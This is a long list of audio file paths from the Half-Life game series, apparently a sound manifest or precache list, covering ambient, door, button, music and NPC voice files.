+ambient/levels/coast/seagulls_ambient1.wav +ambient/levels/coast/seagulls_ambient2.wav +ambient/levels/coast/seagulls_ambient3.wav +ambient/levels/coast/seagulls_ambient4.wav +ambient/levels/coast/seagulls_ambient5.wav +ambient/levels/labs/coinslot1.wav +ambient/levels/labs/electric_explosion1.wav +ambient/levels/labs/electric_explosion2.wav +ambient/levels/labs/electric_explosion3.wav +ambient/levels/labs/electric_explosion4.wav +ambient/levels/labs/electric_explosion5.wav +ambient/levels/labs/equipment_beep_loop1.wav +ambient/levels/labs/equipment_printer_loop1.wav +ambient/levels/labs/machine_moving_loop3.wav +ambient/levels/labs/machine_moving_loop4.wav +ambient/levels/labs/machine_ring_resonance_loop1.wav +ambient/levels/labs/machine_stop1.wav +ambient/levels/labs/teleport_active_loop1.wav +ambient/levels/labs/teleport_alarm_loop1.wav +ambient/levels/labs/teleport_malfunctioning.wav +ambient/levels/labs/teleport_mechanism_windup1.wav +ambient/levels/labs/teleport_mechanism_windup2.wav +ambient/levels/labs/teleport_mechanism_windup3.wav +ambient/levels/labs/teleport_mechanism_windup4.wav +ambient/levels/labs/teleport_mechanism_windup5.wav +ambient/levels/labs/teleport_postblast_thunder1.wav +ambient/levels/labs/teleport_postblast_winddown1.wav +ambient/levels/labs/teleport_preblast_suckin1.wav +ambient/levels/labs/teleport_rings_loop2.wav +ambient/levels/labs/teleport_weird_voices1.wav +ambient/levels/labs/teleport_weird_voices2.wav +ambient/levels/labs/teleport_winddown1.wav +ambient/levels/prison/inside_battle1.wav +ambient/levels/prison/inside_battle2.wav +ambient/levels/prison/inside_battle3.wav +ambient/levels/prison/inside_battle4.wav +ambient/levels/prison/inside_battle5.wav +ambient/levels/prison/inside_battle6.wav +ambient/levels/prison/inside_battle7.wav +ambient/levels/prison/inside_battle8.wav +ambient/levels/prison/inside_battle9.wav +ambient/levels/prison/inside_battle_antlion1.wav +ambient/levels/prison/inside_battle_antlion2.wav +ambient/levels/prison/inside_battle_antlion3.wav +ambient/levels/prison/inside_battle_antlion4.wav +ambient/levels/prison/inside_battle_antlion5.wav +ambient/levels/prison/inside_battle_antlion6.wav +ambient/levels/prison/inside_battle_antlion7.wav +ambient/levels/prison/inside_battle_antlion8.wav +ambient/levels/prison/inside_battle_soldier1.wav +ambient/levels/prison/inside_battle_soldier2.wav +ambient/levels/prison/inside_battle_soldier3.wav +ambient/levels/prison/inside_battle_zombie1.wav +ambient/levels/prison/inside_battle_zombie2.wav +ambient/levels/prison/inside_battle_zombie3.wav +ambient/levels/prison/radio_random1.wav +ambient/levels/prison/radio_random10.wav +ambient/levels/prison/radio_random11.wav +ambient/levels/prison/radio_random12.wav +ambient/levels/prison/radio_random13.wav +ambient/levels/prison/radio_random14.wav +ambient/levels/prison/radio_random15.wav +ambient/levels/prison/radio_random2.wav +ambient/levels/prison/radio_random3.wav +ambient/levels/prison/radio_random4.wav +ambient/levels/prison/radio_random5.wav +ambient/levels/prison/radio_random6.wav +ambient/levels/prison/radio_random7.wav +ambient/levels/prison/radio_random8.wav +ambient/levels/prison/radio_random9.wav +ambient/levels/streetwar/apc_distant1.wav +ambient/levels/streetwar/apc_distant2.wav +ambient/levels/streetwar/apc_distant3.wav +ambient/levels/streetwar/building_rubble1.wav +ambient/levels/streetwar/building_rubble2.wav +ambient/levels/streetwar/building_rubble3.wav +ambient/levels/streetwar/building_rubble4.wav +ambient/levels/streetwar/building_rubble5.wav +ambient/levels/streetwar/city_battle1.wav +ambient/levels/streetwar/city_battle10.wav +ambient/levels/streetwar/city_battle11.wav +ambient/levels/streetwar/city_battle12.wav +ambient/levels/streetwar/city_battle13.wav +ambient/levels/streetwar/city_battle14.wav +ambient/levels/streetwar/city_battle15.wav +ambient/levels/streetwar/city_battle16.wav +ambient/levels/streetwar/city_battle17.wav +ambient/levels/streetwar/city_battle18.wav +ambient/levels/streetwar/city_battle19.wav +ambient/levels/streetwar/city_battle2.wav +ambient/levels/streetwar/city_battle3.wav +ambient/levels/streetwar/city_battle4.wav +ambient/levels/streetwar/city_battle5.wav +ambient/levels/streetwar/city_battle6.wav +ambient/levels/streetwar/city_battle7.wav +ambient/levels/streetwar/city_battle8.wav +ambient/levels/streetwar/city_battle9.wav +ambient/levels/streetwar/city_chant1.wav +ambient/levels/streetwar/city_riot1.wav +ambient/levels/streetwar/city_riot2.wav +ambient/levels/streetwar/city_scream3.wav +ambient/levels/streetwar/gunship_distant1.wav +ambient/levels/streetwar/gunship_distant2.wav +ambient/levels/streetwar/heli_distant1.wav +ambient/levels/streetwar/marching_distant1.wav +ambient/levels/streetwar/marching_distant2.wav +ambient/levels/streetwar/strider_distant1.wav +ambient/levels/streetwar/strider_distant2.wav +ambient/levels/streetwar/strider_distant3.wav +ambient/levels/streetwar/strider_distant_walk1.wav +ambient/machines/aircraft_distant_flyby1.wav +ambient/machines/aircraft_distant_flyby3.wav +ambient/machines/catapult_throw.wav +ambient/machines/city_ventpump_loop1.wav +ambient/machines/combine_shield_loop3.wav +ambient/machines/combine_shield_touch_loop1.wav +ambient/machines/combine_terminal_idle1.wav +ambient/machines/combine_terminal_idle2.wav +ambient/machines/combine_terminal_idle3.wav +ambient/machines/combine_terminal_idle4.wav +ambient/machines/combine_terminal_loop1.wav +ambient/machines/courtyard_mach_loop.wav +ambient/machines/diesel_engine_idle1.wav +ambient/machines/electric_machine.wav +ambient/machines/engine1.wav +ambient/machines/engine4.wav +ambient/machines/floodgate_move_short1.wav +ambient/machines/floodgate_stop1.wav +ambient/machines/heli_pass1.wav +ambient/machines/heli_pass2.wav +ambient/machines/heli_pass_distant1.wav +ambient/machines/heli_pass_quick1.wav +ambient/machines/heli_pass_quick2.wav +ambient/machines/keyboard1_clicks.wav +ambient/machines/keyboard2_clicks.wav +ambient/machines/keyboard3_clicks.wav +ambient/machines/keyboard4_clicks.wav +ambient/machines/keyboard5_clicks.wav +ambient/machines/keyboard6_clicks.wav +ambient/machines/keyboard7_clicks_enter.wav +ambient/machines/keyboard_fast1_1second.wav +ambient/machines/keyboard_fast2_1second.wav +ambient/machines/keyboard_fast3_1second.wav +ambient/machines/keyboard_slow_1second.wav +ambient/machines/lab_loop1.wav +ambient/machines/laundry_machine1_amb.wav +ambient/machines/machine1_hit1.wav +ambient/machines/machine1_hit2.wav +ambient/machines/machine3.wav +ambient/machines/machine6.wav +ambient/machines/machine_whine1.wav +ambient/machines/razor_train_wheels_loop1.wav +ambient/machines/razor_train_wheels_loop2.wav +ambient/machines/slicer1.wav +ambient/machines/slicer2.wav +ambient/machines/slicer3.wav +ambient/machines/slicer4.wav +ambient/machines/spindown.wav +ambient/machines/spinup.wav +ambient/machines/spin_loop.wav +ambient/machines/sputter1.wav +ambient/machines/station_train_squeel.wav +ambient/machines/teleport1.wav +ambient/machines/teleport3.wav +ambient/machines/teleport4.wav +ambient/machines/thumper_amb.wav +ambient/machines/thumper_dust.wav +ambient/machines/thumper_hit.wav +ambient/machines/thumper_shutdown1.wav +ambient/machines/thumper_startup1.wav +ambient/machines/thumper_top.wav +ambient/machines/train_freight_loop1.wav +ambient/machines/train_freight_loop2.wav +ambient/machines/train_freight_loop3.wav +ambient/machines/train_idle.wav +ambient/machines/train_rumble.wav +ambient/machines/train_wheels_loop1.wav +ambient/machines/train_wheels_overhead_loop1.wav +ambient/machines/transformer_loop.wav +ambient/machines/truck_pass_distant1.wav +ambient/machines/truck_pass_distant2.wav +ambient/machines/truck_pass_distant3.wav +ambient/machines/truck_pass_overhead1.wav +ambient/machines/usetoilet_flush1.wav +ambient/machines/wall_ambient1.wav +ambient/machines/wall_ambient_loop1.wav +ambient/machines/wall_crash1.wav +ambient/machines/wall_loop1.wav +ambient/machines/wall_move1.wav +ambient/machines/wall_move2.wav +ambient/machines/wall_move3.wav +ambient/machines/wall_move4.wav +ambient/machines/wall_move5.wav +ambient/materials/bump1.wav +ambient/materials/cartrap_explode_impact1.wav +ambient/materials/cartrap_explode_impact2.wav +ambient/materials/cartrap_rope1.wav +ambient/materials/cartrap_rope2.wav +ambient/materials/cartrap_rope3.wav +ambient/materials/clang1.wav +ambient/materials/creak5.wav +ambient/materials/creaking.wav +ambient/materials/cupdrop.wav +ambient/materials/dinnerplates1.wav +ambient/materials/dinnerplates2.wav +ambient/materials/dinnerplates3.wav +ambient/materials/dinnerplates4.wav +ambient/materials/dinnerplates5.wav +ambient/materials/door_hit1.wav +ambient/materials/flush1.wav +ambient/materials/flush2.wav +ambient/materials/footsteps_glass1.wav +ambient/materials/footsteps_glass2.wav +ambient/materials/footsteps_stairs1.wav +ambient/materials/footsteps_stairs2.wav +ambient/materials/footsteps_wood1.wav +ambient/materials/footsteps_wood2.wav +ambient/materials/icegrind1.wav +ambient/materials/metal4.wav +ambient/materials/metal5.wav +ambient/materials/metal9.wav +ambient/materials/metal_big_impact_scrape1.wav +ambient/materials/metal_groan.wav +ambient/materials/metal_rattle.wav +ambient/materials/metal_rattle1.wav +ambient/materials/metal_rattle2.wav +ambient/materials/metal_rattle3.wav +ambient/materials/metal_rattle4.wav +ambient/materials/metal_stress1.wav +ambient/materials/metal_stress2.wav +ambient/materials/metal_stress3.wav +ambient/materials/metal_stress4.wav +ambient/materials/metal_stress5.wav +ambient/materials/platedrop1.wav +ambient/materials/platedrop2.wav +ambient/materials/platedrop3.wav +ambient/materials/rock1.wav +ambient/materials/rock2.wav +ambient/materials/rock3.wav +ambient/materials/rock4.wav +ambient/materials/rock5.wav +ambient/materials/roust_crash1.wav +ambient/materials/roust_crash2.wav +ambient/materials/rustypipes1.wav +ambient/materials/rustypipes2.wav +ambient/materials/rustypipes3.wav +ambient/materials/shipgroan1.wav +ambient/materials/shipgroan2.wav +ambient/materials/shipgroan3.wav +ambient/materials/shipgroan4.wav +ambient/materials/shuffle1.wav +ambient/materials/shutter6.wav +ambient/materials/shutter7.wav +ambient/materials/shutter8.wav +ambient/materials/smallwire_pluck3.wav +ambient/materials/squeeker2.wav +ambient/materials/squeekyfloor1.wav +ambient/materials/squeekyfloor2.wav +ambient/materials/vent_scurry_medium.wav +ambient/materials/wood_creak1.wav +ambient/materials/wood_creak2.wav +ambient/materials/wood_creak3.wav +ambient/materials/wood_creak4.wav +ambient/materials/wood_creak5.wav +ambient/materials/wood_creak6.wav +ambient/voices/appartments_crowd_loop1.wav +ambient/voices/citizen_beaten1.wav +ambient/voices/citizen_beaten2.wav +ambient/voices/citizen_beaten3.wav +ambient/voices/citizen_beaten4.wav +ambient/voices/citizen_beaten5.wav +ambient/voices/citizen_punches1.wav +ambient/voices/citizen_punches2.wav +ambient/voices/citizen_punches3.wav +ambient/voices/citizen_punches4.wav +ambient/voices/cough1.wav +ambient/voices/cough2.wav +ambient/voices/cough3.wav +ambient/voices/cough4.wav +ambient/voices/crying_loop1.wav +ambient/voices/f_scream1.wav +ambient/voices/m_scream1.wav +ambient/voices/playground_memory.wav +ambient/voices/squeal1.wav +ambient/water/corridor_water.wav +ambient/water/distant_drip1.wav +ambient/water/distant_drip2.wav +ambient/water/distant_drip3.wav +ambient/water/distant_drip4.wav +ambient/water/distant_wave1.wav +ambient/water/distant_wave2.wav +ambient/water/distant_wave3.wav +ambient/water/drip1.wav +ambient/water/drip2.wav +ambient/water/drip3.wav +ambient/water/drip4.wav +ambient/water/drip_loop1.wav +ambient/water/lake_water.wav +ambient/water/leak_1.wav +ambient/water/rain_drip1.wav +ambient/water/rain_drip2.wav +ambient/water/rain_drip3.wav +ambient/water/rain_drip4.wav +ambient/water/underwater.wav +ambient/water/water_flow_loop1.wav +ambient/water/water_in_boat1.wav +ambient/water/water_pump_drainin1.wav +ambient/water/water_run1.wav +ambient/water/water_splash1.wav +ambient/water/water_splash2.wav +ambient/water/water_splash3.wav +ambient/water/water_spray1.wav +ambient/water/water_spray2.wav +ambient/water/water_spray3.wav +ambient/water/wave1.wav +ambient/water/wave2.wav +ambient/water/wave3.wav +ambient/water/wave4.wav +ambient/water/wave5.wav +ambient/water/wave6.wav +ambient/wind/wasteland_wind.wav +ambient/wind/wind1.wav +ambient/wind/windgust.wav +ambient/wind/windgust_strong.wav +ambient/wind/wind_hit1.wav +ambient/wind/wind_hit2.wav +ambient/wind/wind_hit3.wav +ambient/wind/wind_med1.wav +ambient/wind/wind_med2.wav +ambient/wind/wind_moan1.wav +ambient/wind/wind_moan2.wav +ambient/wind/wind_moan4.wav +ambient/wind/wind_rooftop1.wav +ambient/wind/wind_snippet1.wav +ambient/wind/wind_snippet2.wav +ambient/wind/wind_snippet3.wav +ambient/wind/wind_snippet4.wav +ambient/wind/wind_snippet5.wav +ambient/wind/wind_tunnel1.wav +beams/beamstart5.wav +buttons/blip1.wav +buttons/button1.wav +buttons/button10.wav +buttons/button14.wav +buttons/button15.wav +buttons/button16.wav +buttons/button17.wav +buttons/button18.wav +buttons/button19.wav +buttons/button2.wav +buttons/button24.wav +buttons/button3.wav +buttons/button4.wav +buttons/button5.wav +buttons/button6.wav +buttons/button8.wav +buttons/button9.wav +buttons/combine_button1.wav +buttons/combine_button2.wav +buttons/combine_button3.wav +buttons/combine_button5.wav +buttons/combine_button7.wav +buttons/combine_button_locked.wav +buttons/lever1.wav +buttons/lever2.wav +buttons/lever3.wav +buttons/lever4.wav +buttons/lever5.wav +buttons/lever6.wav +buttons/lever7.wav +buttons/lever8.wav +buttons/lightswitch2.wav +combined/Citadel/citadel_br_guest_f_cc.wav +combined/Citadel/citadel_br_newleader_a_cc.wav +combined/Citadel/citadel_br_playgame_b_cc.wav +combined/eli_lab/eli_lab_al_gravgun_cc.wav +combined/eli_lab/eli_lab_al_soquickly01_cc.wav +combined/eli_lab/eli_lab_eli_portal01_cc.wav +combined/eli_lab/eli_lab_eli_surface_cc.wav +combined/eli_lab/eli_lab_mo_airlock06_cc.wav +combined/eli_lab/eli_lab_mo_airlock10_cc.wav +combined/eli_lab/eli_lab_mo_airlock12_cc.wav +combined/eli_lab/eli_lab_mo_extrahelp04_cc.wav +combined/eli_lab/eli_lab_mo_extrahelp05_cc.wav +combined/eli_lab/eli_lab_mo_hereseli01_cc.wav +combined/eli_lab/eli_lab_mo_postdoc01_cc.wav +combined/eli_lab/eli_lab_mo_relay01_cc.wav +combined/eli_lab/eli_lab_mo_relay02_cc.wav +combined/k_lab/k_lab_al_docsays01_cc.wav +combined/k_lab/k_lab_al_lostgordon_cc.wav +combined/k_lab/k_lab_al_moveon01_cc.wav +combined/k_lab/k_lab_ba_cantkeephim01_cc.wav +combined/k_lab/k_lab_ba_getitoff01_cc.wav +combined/k_lab/k_lab_ba_getoutofsight01_cc.wav +combined/k_lab/k_lab_ba_hesback01_cc.wav +combined/k_lab/k_lab_ba_itsworking01_cc.wav +combined/k_lab/k_lab_ba_myshift01_cc.wav +combined/k_lab/k_lab_ba_notimetofool01_cc.wav +combined/k_lab/k_lab_ba_sarcastic01_cc.wav +combined/k_lab/k_lab_ba_thingaway01_cc.wav +combined/k_lab/k_lab_br_significant_cc.wav +combined/k_lab/k_lab_kl_almostforgot_cc.wav +combined/k_lab/k_lab_kl_blast_cc.wav +combined/k_lab/k_lab_kl_charger01_cc.wav +combined/k_lab/k_lab_kl_debeaked_cc.wav +combined/k_lab/k_lab_kl_excellent_cc.wav +combined/k_lab/k_lab_kl_fewmoments01_cc.wav +combined/k_lab/k_lab_kl_fitglove01_cc.wav +combined/k_lab/k_lab_kl_getoutrun01_cc.wav +combined/k_lab/k_lab_kl_hedyno02_cc.wav +combined/k_lab/k_lab_kl_helloalyx01_cc.wav +combined/k_lab/k_lab_kl_initializing_cc.wav +combined/k_lab/k_lab_kl_masslessfieldflux_cc.wav +combined/k_lab/k_lab_kl_mygoodness02_cc.wav +combined/k_lab/k_lab_kl_nownow01_cc.wav +combined/k_lab/k_lab_kl_opportunetime01_cc.wav +combined/k_lab/k_lab_kl_packing01_cc.wav +combined/k_lab/k_lab_kl_projectyou_cc.wav +combined/k_lab/k_lab_kl_redletterday01_cc.wav +combined/k_lab/k_lab_kl_slipin01_cc.wav +combined/k_lab/k_lab_kl_suitfits01_cc.wav +combined/k_lab/k_lab_kl_wishiknew_cc.wav +combined/NovaProspekt/novaprospekt_al_horrible01_cc.wav +combined/NovaProspekt/novaprospekt_mo_alreadyrerouted01_cc.wav +combined/NovaProspekt/novaprospekt_mo_hadtoprove01_cc.wav +combined/trainyard/k_lab_al_buyyoudrink02_cc.wav +combined/trainyard/Trainyard_al_nicetomeet_cc.wav +combined/trainyard/Trainyard_al_suspicious_cc.wav +combined/trainyard/Trainyard_al_thisday01_cc.wav +combined/trainyard/Trainyard_ba_crowbar01_cc.wav +combined/trainyard/Trainyard_ba_getoutfast_cc.wav +combined/trainyard/Trainyard_ba_goodluck01_cc.wav +combined/trainyard/Trainyard_ba_tellme01_cc.wav +combined/trainyard/Trainyard_kl_morewarn01_cc.wav +combined/trainyard/Trainyard_kl_whatisit01_cc.wav +common/bugreporter_failed.wav +common/bugreporter_succeeded.wav +common/NULL.WAV +common/warning.wav +common/wpn_denyselect.WAV +common/wpn_hudoff.WAV +common/wpn_moveselect.WAV +common/wpn_select.WAV +doors/default_locked.wav +doors/default_move.wav +doors/default_stop.wav +doors/door1_move.wav +doors/door1_stop.wav +doors/doormove1.wav +doors/doormove2.wav +doors/doormove3.wav +doors/doormove7.wav +doors/doorstop1.wav +doors/door_chainlink_close1.wav +doors/door_chainlink_close2.wav +doors/door_chainlink_move1.wav +doors/door_latch1.wav +doors/door_latch3.wav +doors/door_locked2.wav +doors/door_metal_gate_move1.wav +doors/door_metal_large_chamber_close1.wav +doors/door_metal_large_close2.wav +doors/door_metal_large_open1.wav +doors/door_metal_medium_close1.wav +doors/door_metal_medium_open1.wav +doors/door_metal_rusty_move1.wav +doors/door_metal_thin_close2.wav +doors/door_metal_thin_move1.wav +doors/door_metal_thin_open1.wav +doors/door_screen_move1.wav +doors/door_squeek1.wav +doors/door_wood_close1.wav +doors/drawbridge_move1.wav +doors/drawbridge_stop1.wav +doors/garage_move1.wav +doors/garage_stop1.wav +doors/gate_move1.wav +doors/handle_pushbar_locked1.wav +doors/handle_pushbar_open1.wav +doors/heavy_metal_move1.wav +doors/heavy_metal_stop1.wav +doors/latchlocked2.wav +doors/latchunlocked1.wav +doors/metal_move1.wav +doors/metal_stop1.wav +doors/vent_open1.wav +doors/vent_open2.wav +doors/vent_open3.wav +doors/wood_move1.wav +doors/wood_stop1.wav +Friends/friend_join.wav +Friends/friend_online.wav +Friends/message.wav +HL1/ambience/alien_blipper.wav +HL1/ambience/alien_cycletone.wav +HL1/ambience/alien_minddrill.wav +HL1/ambience/alien_powernode.wav +HL1/ambience/computalk2.wav +HL1/ambience/deadsignal2.wav +HL1/ambience/des_wind2.wav +HL1/ambience/labdrone2.wav +HL1/ambience/particle_suck1.wav +HL1/ambience/particle_suck2.wav +HL1/ambience/port_suckin1.wav +HL1/ambience/port_suckout1.wav +HL1/ambience/signalgear1.wav +HL1/ambience/steamburst1.wav +HL1/ambience/techamb2.wav +HL1/fvox/acquired.wav +HL1/fvox/activated.WAV +HL1/fvox/ammo_depleted.wav +HL1/fvox/antidote_shot.wav +HL1/fvox/antitoxin_shot.wav +HL1/fvox/armor_gone.wav +HL1/fvox/automedic_on.wav +HL1/fvox/beep.wav +HL1/fvox/bell.wav +HL1/fvox/biohazard_detected.wav +HL1/fvox/bio_reading.wav +HL1/fvox/bleeding_stopped.wav +HL1/fvox/blip.wav +HL1/fvox/blood_loss.wav +HL1/fvox/blood_plasma.wav +HL1/fvox/blood_toxins.wav +HL1/fvox/boop.wav +HL1/fvox/buzz.wav +HL1/fvox/chemical_detected.wav +HL1/fvox/deactivated.WAV +HL1/fvox/eighty.wav +HL1/fvox/evacuate_area.wav +HL1/fvox/fifteen.wav +HL1/fvox/fifty.wav +HL1/fvox/five.wav +HL1/fvox/flatline.wav +HL1/fvox/fourty.wav +HL1/fvox/fuzz.wav +HL1/fvox/health_critical.wav +HL1/fvox/health_dropping.wav +HL1/fvox/health_dropping2.wav +HL1/fvox/heat_damage.wav +HL1/fvox/hev_critical_fail.wav +HL1/fvox/hev_damage.wav +HL1/fvox/hev_general_fail.wav +HL1/fvox/hev_shutdown.wav +HL1/fvox/hiss.wav +HL1/fvox/immediately.wav +HL1/fvox/innsuficient_medical.wav +HL1/fvox/internal_bleeding.wav +HL1/fvox/major_fracture.wav +HL1/fvox/major_lacerations.wav +HL1/fvox/medical_repaired.wav +HL1/fvox/minor_fracture.wav +HL1/fvox/minor_lacerations.wav +HL1/fvox/morphine_shot.wav +HL1/fvox/near_death.wav +HL1/fvox/ninety.wav +HL1/fvox/onehundred.wav +HL1/fvox/percent.wav +HL1/fvox/powermove_overload.wav +HL1/fvox/power_below.wav +HL1/fvox/power_level_is.wav +HL1/fvox/power_restored.wav +HL1/fvox/radiation_detected.wav +HL1/fvox/seek_medic.wav +HL1/fvox/seventy.wav +HL1/fvox/shock_damage.WAV +HL1/fvox/sixty.wav +HL1/fvox/targetting_system.WAV +HL1/fvox/ten.wav +HL1/fvox/thirty.wav +HL1/fvox/torniquette_applied.wav +HL1/fvox/twenty.wav +HL1/fvox/voice_off.wav +HL1/fvox/voice_on.wav +HL1/fvox/warning.wav +HL1/fvox/wound_sterilized.wav +HL1/fvox/_comma.wav +items/ammocrate_close.wav +items/ammocrate_open.wav +items/ammo_pickup.wav +items/battery_pickup.wav +items/flashlight1.wav +items/medcharge4.wav +items/medshot4.wav +items/medshotno1.wav +items/smallmedkit1.wav +items/suitcharge1.wav +items/suitchargeno1.wav +items/suitchargeok1.wav +music/HL1_song10.mp3 +music/HL1_song11.mp3 +music/HL1_song14.mp3 +music/HL1_song15.mp3 +music/HL1_song17.mp3 +music/HL1_song19.mp3 +music/HL1_song20.mp3 +music/HL1_song21.mp3 +music/HL1_song24.mp3 +music/HL1_song25_REMIX3.mp3 +music/HL1_song26.mp3 +music/HL1_song3.mp3 +music/HL1_song5.mp3 +music/HL1_song6.mp3 +music/HL1_song9.mp3 +music/HL2_intro.mp3 +music/HL2_song0.mp3 +music/HL2_song1.mp3 +music/HL2_song10.mp3 +music/HL2_song11.mp3 +music/HL2_song12_long.mp3 +music/HL2_song13.mp3 +music/HL2_song14.mp3 +music/HL2_song15.mp3 +music/HL2_song16.mp3 +music/HL2_song17.mp3 +music/HL2_song19.mp3 +music/HL2_song2.mp3 +music/HL2_song20_submix0.mp3 +music/HL2_song20_submix4.mp3 +music/HL2_song23_SuitSong3.mp3 +music/HL2_song25_Teleporter.mp3 +music/HL2_song26.mp3 +music/HL2_song26_trainstation1.mp3 +music/HL2_song27_trainstation2.mp3 +music/HL2_song28.mp3 +music/HL2_song29.mp3 +music/HL2_song3.mp3 +music/HL2_song30.mp3 +music/HL2_song31.mp3 +music/HL2_song32.mp3 +music/HL2_song33.mp3 +music/HL2_song4.mp3 +music/HL2_song6.mp3 +music/HL2_song7.mp3 +music/HL2_song8.mp3 +music/radio1.mp3 +music/Ravenholm_1.mp3 +music/stingers/HL1_stinger_song16.mp3 +music/stingers/HL1_stinger_song27.mp3 +music/stingers/HL1_stinger_song28.mp3 +music/stingers/HL1_stinger_song7.mp3 +music/stingers/HL1_stinger_song8.mp3 +music/stingers/industrial_suspense1.wav +music/stingers/industrial_suspense2.wav +npc/antlion/attack_double1.wav +npc/antlion/attack_double2.wav +npc/antlion/attack_double3.wav +npc/antlion/attack_single1.wav +npc/antlion/attack_single2.wav +npc/antlion/attack_single3.wav +npc/antlion/charge_loop1.wav +npc/antlion/digdown1.wav +npc/antlion/digup1.wav +npc/antlion/distract1.wav +npc/antlion/fly1.wav +npc/antlion/foot1.wav +npc/antlion/foot2.wav +npc/antlion/foot3.wav +npc/antlion/foot4.wav +npc/antlion/idle1.wav +npc/antlion/idle2.wav +npc/antlion/idle3.wav +npc/antlion/idle4.wav +npc/antlion/idle5.wav +npc/antlion/land1.wav +npc/antlion/pain1.wav +npc/antlion/pain2.wav +npc/antlion/rumble1.wav +npc/antlion/shell_impact1.wav +npc/antlion/shell_impact2.wav +npc/antlion/shell_impact3.wav +npc/antlion/shell_impact4.wav +npc/antlion_grub/squashed.wav +npc/antlion_guard/angry1.wav +npc/antlion_guard/angry2.wav +npc/antlion_guard/angry3.wav +npc/antlion_guard/antlion_guard_die1.wav +npc/antlion_guard/antlion_guard_die2.wav +npc/antlion_guard/confused1.wav +npc/antlion_guard/foot_heavy1.wav +npc/antlion_guard/foot_heavy2.wav +npc/antlion_guard/foot_light1.wav +npc/antlion_guard/foot_light2.wav +npc/antlion_guard/growl_high.wav +npc/antlion_guard/growl_idle.wav +npc/antlion_guard/shove1.wav +npc/assassin/ball_zap1.wav +npc/attack_helicopter/aheli_charge_up.wav +npc/attack_helicopter/aheli_crash_alert2.wav +npc/attack_helicopter/aheli_damaged_alarm1.wav +npc/attack_helicopter/aheli_megabomb_siren1.wav +npc/attack_helicopter/aheli_mine_drop1.wav +npc/attack_helicopter/aheli_mine_seek_loop1.wav +npc/attack_helicopter/aheli_rotor_loop1.wav +npc/attack_helicopter/aheli_wash_loop3.wav +npc/attack_helicopter/aheli_weapon_fire_loop3.wav +npc/barnacle/barnacle_bark1.wav +npc/barnacle/barnacle_bark2.wav +npc/barnacle/barnacle_crunch2.wav +npc/barnacle/barnacle_crunch3.wav +npc/barnacle/barnacle_die1.wav +npc/barnacle/barnacle_die2.wav +npc/barnacle/barnacle_digesting1.wav +npc/barnacle/barnacle_digesting2.wav +npc/barnacle/barnacle_gulp1.wav +npc/barnacle/barnacle_gulp2.wav +npc/barnacle/barnacle_pull1.wav +npc/barnacle/barnacle_pull2.wav +npc/barnacle/barnacle_pull3.wav +npc/barnacle/barnacle_pull4.wav +npc/barnacle/barnacle_tongue_pull1.wav +npc/barnacle/barnacle_tongue_pull2.wav +npc/barnacle/barnacle_tongue_pull3.wav +npc/barnacle/neck_snap1.wav +npc/barnacle/neck_snap2.wav +npc/combine_gunship/attack_start2.wav +npc/combine_gunship/attack_stop2.wav +npc/combine_gunship/dropship_dropping_pod_loop1.wav +npc/combine_gunship/dropship_engine_distant_loop1.wav +npc/combine_gunship/dropship_engine_near_loop1.wav +npc/combine_gunship/dropship_onground_loop1.wav +npc/combine_gunship/engine_rotor_loop1.wav +npc/combine_gunship/engine_whine_loop1.wav +npc/combine_gunship/gunship_crashing1.wav +npc/combine_gunship/gunship_engine_loop3.wav +npc/combine_gunship/gunship_explode2.wav +npc/combine_gunship/gunship_fire_loop1.wav +npc/combine_gunship/gunship_moan.wav +npc/combine_gunship/gunship_pain.wav +npc/combine_gunship/gunship_ping_search.wav +npc/combine_gunship/gunship_weapon_fire_loop6.wav +npc/combine_gunship/ping_patrol.wav +npc/combine_gunship/ping_search.wav +npc/combine_gunship/see_enemy.wav +npc/combine_soldier/die1.wav +npc/combine_soldier/die2.wav +npc/combine_soldier/die3.wav +npc/combine_soldier/gear1.wav +npc/combine_soldier/gear2.wav +npc/combine_soldier/gear3.wav +npc/combine_soldier/gear4.wav +npc/combine_soldier/gear5.wav +npc/combine_soldier/gear6.wav +npc/combine_soldier/pain1.wav +npc/combine_soldier/pain2.wav +npc/combine_soldier/pain3.wav +npc/combine_soldier/vo/administer.wav +npc/combine_soldier/vo/affirmative.wav +npc/combine_soldier/vo/affirmative2.wav +npc/combine_soldier/vo/affirmativewegothimnow.wav +npc/combine_soldier/vo/alert1.wav +npc/combine_soldier/vo/anticitizenone.wav +npc/combine_soldier/vo/antiseptic.wav +npc/combine_soldier/vo/apex.wav +npc/combine_soldier/vo/bearing.wav +npc/combine_soldier/vo/blade.wav +npc/combine_soldier/vo/block31mace.wav +npc/combine_soldier/vo/block64jet.wav +npc/combine_soldier/vo/bodypackholding.wav +npc/combine_soldier/vo/boomer.wav +npc/combine_soldier/vo/bouncerbouncer.wav +npc/combine_soldier/vo/callcontactparasitics.wav +npc/combine_soldier/vo/callcontacttarget1.wav +npc/combine_soldier/vo/callhotpoint.wav +npc/combine_soldier/vo/cleaned.wav +npc/combine_soldier/vo/closing.wav +npc/combine_soldier/vo/closing2.wav +npc/combine_soldier/vo/confirmsectornotsterile.wav +npc/combine_soldier/vo/contact.wav +npc/combine_soldier/vo/contactconfim.wav +npc/combine_soldier/vo/contactconfirmprosecuting.wav +npc/combine_soldier/vo/contained.wav +npc/combine_soldier/vo/containmentproceeding.wav +npc/combine_soldier/vo/copy.wav +npc/combine_soldier/vo/copythat.wav +npc/combine_soldier/vo/cover.wav +npc/combine_soldier/vo/coverhurt.wav +npc/combine_soldier/vo/coverme.wav +npc/combine_soldier/vo/dagger.wav +npc/combine_soldier/vo/dash.wav +npc/combine_soldier/vo/degrees.wav +npc/combine_soldier/vo/delivered.wav +npc/combine_soldier/vo/designatetargetas.wav +npc/combine_soldier/vo/displace.wav +npc/combine_soldier/vo/displace2.wav +npc/combine_soldier/vo/echo.wav +npc/combine_soldier/vo/eight.wav +npc/combine_soldier/vo/eighteen.wav +npc/combine_soldier/vo/eighty.wav +npc/combine_soldier/vo/eleven.wav +npc/combine_soldier/vo/engagedincleanup.wav +npc/combine_soldier/vo/engaging.wav +npc/combine_soldier/vo/executingfullresponse.wav +npc/combine_soldier/vo/extractoraway.wav +npc/combine_soldier/vo/extractorislive.wav +npc/combine_soldier/vo/fifteen.wav +npc/combine_soldier/vo/fifty.wav +npc/combine_soldier/vo/fist.wav +npc/combine_soldier/vo/five.wav +npc/combine_soldier/vo/fixsightlinesmovein.wav +npc/combine_soldier/vo/flaredown.wav +npc/combine_soldier/vo/flash.wav +npc/combine_soldier/vo/flatline.wav +npc/combine_soldier/vo/flush.wav +npc/combine_soldier/vo/four.wav +npc/combine_soldier/vo/fourteen.wav +npc/combine_soldier/vo/fourty.wav +npc/combine_soldier/vo/freeman3.wav 